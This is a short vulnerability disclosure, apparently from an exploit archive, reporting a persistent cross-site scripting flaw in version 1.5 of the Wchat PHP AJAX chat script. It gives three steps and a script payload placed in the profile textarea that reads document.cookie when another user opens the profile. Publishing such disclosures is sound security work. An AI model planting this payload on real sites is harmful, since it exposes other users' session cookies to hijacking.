# Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script1.5 - Persistent cross site scripting# Date: 2018-05-21# Exploit Author: Borna nematzadeh (L0RD)# Vendor Homepage: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319?s_rank=1327# Version: 1.5# Tested on: Windows# POC :1) Create your account and navigate to "Edit profile"2) Put this payload into textarea :</textarea><script>console.log(document.cookie)</script>3) The payload will be executed if someone opens your profile .